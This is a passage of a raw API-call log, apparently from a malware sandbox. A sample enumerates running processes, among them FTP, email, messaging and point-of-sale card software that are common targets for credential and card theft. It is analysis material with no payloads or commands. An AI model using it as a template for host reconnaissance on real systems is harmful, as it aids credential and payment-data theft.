[0244.788] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x7b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2b, th32ParentProcessID=0x798, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0244.789] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x7ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x360, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0244.791] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x894, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0244.792] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x908, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0244.794] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xbc4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0244.796] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xa04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1 [0244.798] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xaac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x360, pcPriClassBase=8, dwFlags=0x0, szExeFile="WMIADAP.exe")) returned 1 [0244.799] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x774, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0244.851] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x158, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0244.852] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="pay.exe")) returned 1 [0244.853] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="stay agreement figure.exe")) returned 1 [0244.855] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="focus-mr.exe")) returned 1 [0244.856] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="democrat save after.exe")) returned 1 [0244.857] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="happychoicepolicy.exe")) returned 1 [0244.859] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="half.exe")) returned 1 [0244.860] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="riskfail.exe")) returned 1 [0244.862] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="something.exe")) returned 1 [0244.864] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="for.exe")) returned 1 [0244.865] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="rate year do.exe")) returned 1 [0244.866] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xda0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="nearly_cover_oil.exe")) returned 1 [0244.868] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xda8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="tell.exe")) returned 1 [0244.869] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdbc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="learn night rather.exe")) returned 1 [0244.871] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0244.872] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdd4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0244.873] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xddc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="former.exe")) returned 1 [0244.875] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xde8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0244.876] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe00, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0244.878] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe08, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0244.879] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0244.881] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="better water.exe")) returned 1 [0244.882] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0244.884] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="pressure.exe")) returned 1 [0244.885] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0244.886] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0244.888] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="tell bar result.exe")) returned 1 [0244.889] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="differentyou.exe")) returned 1 [0244.891] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="main-short.exe")) returned 1 [0244.943] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0244.945] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0244.947] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe78, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0244.948] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0244.950] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xea0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0244.953] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xeb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0244.955] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xebc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0244.957] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xec4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0244.959] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xecc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0244.961] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xed4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0244.963] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xedc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="outlook.exe")) returned 1 [0244.965] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xee4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0244.968] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0244.970] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1 [0244.972] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0244.974] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0244.976] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf54, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0244.977] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf68, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0244.979] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0244.981] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf78, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0244.982] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf84, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0244.984] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0244.986] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf94, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0244.987] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf9c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0245.038] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfa4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0245.040] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0245.042] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0245.044] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0245.046] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xff4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0245.049] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xffc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0245.054] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x34c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0245.056] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1008, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0245.058] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1018, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0245.060] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1020, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0245.062] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1030, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="nowstudy.exe")) returned 1 [0245.064] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x103c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="talk personal.exe")) returned 1 [0245.066] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1048, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="evening.exe")) returned 1 [0245.068] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1050, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="entire.exe")) returned 1 [0245.070] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1058, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="figure.exe")) returned 1 [0245.072] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x158, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0245.075] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x113c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0245.077] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x138c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x390, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0245.079] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xcb0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x360, pcPriClassBase=6, dwFlags=0x0, szExeFile="bcatcih")) returned 1 [0245.146] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xb8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="311B.exe")) returned 1 [0245.149] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0245.151] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 0 [0245.153] CloseHandle (hObject=0x13b0) returned 1 [0245.154] Sleep (dwMilliseconds=0x64) [0245.191] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x13b0 [0245.204] Process32First (in: hSnapshot=0x13b0, 